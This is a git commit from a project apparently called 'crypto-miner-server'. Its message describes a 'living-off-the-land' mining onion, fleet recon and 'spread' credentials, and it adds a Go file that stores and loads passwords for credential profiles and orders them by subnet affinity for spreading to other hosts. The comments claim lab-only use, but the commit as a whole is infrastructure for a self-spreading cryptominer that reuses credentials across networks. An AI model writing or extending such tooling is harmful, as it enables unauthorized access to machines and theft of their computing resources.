Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
113
server/deployment_creds.go
Normal file
113
server/deployment_creds.go
Normal file
@@ -0,0 +1,113 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
const deploymentCredsDir = "deployment-creds"
|
||||
|
||||
// DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only).
|
||||
// Password material lives in the vault file referenced by VaultRef — never in config.json logs.
|
||||
type DeploymentCredProfile struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Username string `json:"username"`
|
||||
VaultRef string `json:"vault_ref,omitempty"`
|
||||
}
|
||||
|
||||
type deploymentCredVault struct {
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// EnsureCredProfileID assigns a stable hash ref when the operator omits id.
|
||||
func EnsureCredProfileID(p *DeploymentCredProfile) {
|
||||
if p == nil {
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(p.ID) != "" {
|
||||
p.ID = strings.TrimSpace(p.ID)
|
||||
return
|
||||
}
|
||||
sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef)))
|
||||
p.ID = hex.EncodeToString(sum[:8])
|
||||
}
|
||||
|
||||
func defaultVaultRef(profileID string) string {
|
||||
return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault"))
|
||||
}
|
||||
|
||||
// ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file).
|
||||
func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string {
|
||||
ref := strings.TrimSpace(p.VaultRef)
|
||||
if ref == "" {
|
||||
ref = defaultVaultRef(p.ID)
|
||||
}
|
||||
ref = filepath.Clean(ref)
|
||||
if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) {
|
||||
ref = defaultVaultRef(p.ID)
|
||||
}
|
||||
return filepath.Join(c.DataDir, ref)
|
||||
}
|
||||
|
||||
// LoadDeploymentCredPassword reads the vault secret for an authorized profile.
|
||||
func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) {
|
||||
if c == nil {
|
||||
return "", "", fmt.Errorf("config unavailable")
|
||||
}
|
||||
profileID = strings.TrimSpace(profileID)
|
||||
for _, p := range c.DeploymentCredentials {
|
||||
if strings.TrimSpace(p.ID) != profileID {
|
||||
continue
|
||||
}
|
||||
path := c.ResolveCredVaultPath(p)
|
||||
data, readErr := os.ReadFile(path)
|
||||
if readErr != nil {
|
||||
return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr)
|
||||
}
|
||||
var vault deploymentCredVault
|
||||
if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil {
|
||||
// Allow plain-text vault files (cloudflared-token pattern).
|
||||
vault.Password = strings.TrimSpace(string(data))
|
||||
}
|
||||
pw := strings.TrimSpace(vault.Password)
|
||||
if pw == "" {
|
||||
return "", "", fmt.Errorf("vault empty for profile %s", profileID)
|
||||
}
|
||||
return strings.TrimSpace(p.Username), pw, nil
|
||||
}
|
||||
return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID)
|
||||
}
|
||||
|
||||
// OrderDeploymentCredProfiles returns profiles with subnet affinity winners first.
|
||||
func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
|
||||
if c == nil || len(c.DeploymentCredentials) == 0 {
|
||||
return nil
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
var ordered []DeploymentCredProfile
|
||||
for _, row := range affinity {
|
||||
for _, p := range c.DeploymentCredentials {
|
||||
if p.ID == row.CredentialProfileID && !seen[p.ID] {
|
||||
ordered = append(ordered, p)
|
||||
seen[p.ID] = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, p := range c.DeploymentCredentials {
|
||||
EnsureCredProfileID(&p)
|
||||
if !seen[p.ID] {
|
||||
ordered = append(ordered, p)
|
||||
seen[p.ID] = true
|
||||
}
|
||||
}
|
||||
return ordered
|
||||
}
|
||||
Reference in New Issue
Block a user